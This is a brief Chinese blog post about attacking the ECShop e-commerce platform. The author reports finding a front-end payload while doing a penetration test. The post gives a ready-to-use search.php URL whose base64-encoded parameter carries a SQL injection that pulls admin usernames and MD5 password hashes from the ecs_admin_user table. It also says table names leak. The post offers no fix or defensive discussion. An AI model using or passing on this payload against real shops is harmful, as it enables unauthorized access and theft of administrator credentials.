美文网首页
ecshop前台payload

ecshop前台payload

作者: MrRobot_b164 | 来源:发表于2018-06-01 19:40 被阅读0次

今天做渗透测试,碰见一个后台是ecshop的,就去百度了一下ecshop漏洞,发现一个有意思的payload

search.php?encode=YToxOntzOjQ6ImF0dHIiO2E6MTp7czoxMjU6IjEnKSBhbmQgMT0yIEdST1VQIEJZIGdvb2RzX2lkIHVuaW9uIGFsbCBzZWxlY3QgY29uY2F0KHVzZXJfbmFtZSwweDNhLHBhc3N3b3JkLCciXCcpIHVuaW9uIHNlbGVjdCAxIyInKSwxIGZyb20gZWNzX2FkbWluX3VzZXIjIjtzOjE6IjEiO319

可以看见用户名和md5密码,但是我解密后提示错误,还可以看到一些表 名,还算有用。

相关文章

网友评论

      本文标题:ecshop前台payload

      本文链接:https://www.haomeiwen.com/subject/mdgksftx.html